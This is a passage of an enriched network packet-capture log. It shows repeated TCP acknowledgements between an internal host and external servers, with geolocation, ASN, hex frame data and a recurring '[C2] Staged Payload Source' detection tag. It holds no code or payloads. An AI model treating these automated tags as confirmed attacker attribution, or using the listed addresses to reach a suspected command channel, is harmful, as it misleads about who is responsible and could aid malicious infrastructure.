\"\"len\"\": 52, \"\"id\"\": 57909, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19902, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:21.464062,53,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afad4000800640510a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44973, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16465, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:21.464090,54,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e236400040064dbdc0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.6@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57910, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19901, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:22.479679,55,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afae4000800640500a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44974, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16464, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:22.479714,56,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e237400040064dbcc0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.7@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57911, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19900, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:23.495359,57,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afaf40008006404f0a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44975, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16463, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:23.495379,58,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e238400040064dbbc0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.8@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57912, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19899, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:24.510957,59,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb040008006404e0a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44976, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16462, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:24.510968,60,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e239400040064dbac0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.9@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57913, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19898, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:25.526630,61,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb140008006404d0a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44977, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16461, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:25.526660,62,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e23a400040064db9c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.:@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57914, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19897, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:25.546490,63,TCP 194.36.32.207:80 -> 10.152.152.11:64035,194.36.32.207,10.152.152.11,80,64035,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=4151458546 Ack=2283203443,bc2411360d0cbc24112907bb080045000028fc7e40004006b8bac22420cf0a98980b0050fa23f7723af28816eb735011003f85b10000,\".$.6\n..$.)....E..(.~@.@....$ .\n....P.#.r:....sP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64638, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 47290, \"\"src\"\": \"\"194.36.32.207\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64035, \"\"seq\"\": 4151458546, \"\"ack\"\": 2283203443, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 34225, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:25.546602,64,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2283203443 Ack=4151458547,bc24112907bbbc2411360d0c08004500002828fa400080064c3f0a98980bc22420cffa2300508816eb73f7723af35010040185d80000,\".$.)...$.6\n...E..((.@...L?\n....$ ..#.P...s.r:.P.......\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10490, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19519, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203443, \"\"ack\"\": 4151458547, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 34264, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:25.546670,65,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=2283203443 Ack=4151458547,bc24112907bbbc2411360d0c08004500002828fb400080064c3e0a98980bc22420cffa2300508816eb73f7723af35011040185d70000,\".$.)...$.6\n...E..((.@...L>\n....$ ..#.P...s.r:.P.......\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10491, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19518, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203443, \"\"ack\"\": 4151458547, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 34263, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:25.546681,66,TCP 194.36.32.207:80 -> 10.152.152.11:64035,194.36.32.207,10.152.152.11,80,64035,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4151458547 Ack=2283203444,bc2411360d0cbc24112907bb080045000028000040004006b539c22420cf0a98980b0050fa23f7723af38816eb745010003f89990000,\".$.6\n..$.)....E..(..@.@..9.$ .\n....P.#.r:....tP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46393, \"\"src\"\": \"\"194.36.32.207\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64035, \"\"seq\"\": 4151458547, \"\"ack\"\": 2283203444, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 35225, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:26.542252,67,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb240008006404c0a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44978, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16460, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:26.542264,68,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e23b400040064db8c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.;@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57915, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19896, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:27.542308,69,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb340008006404b0a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44979, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16459, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": 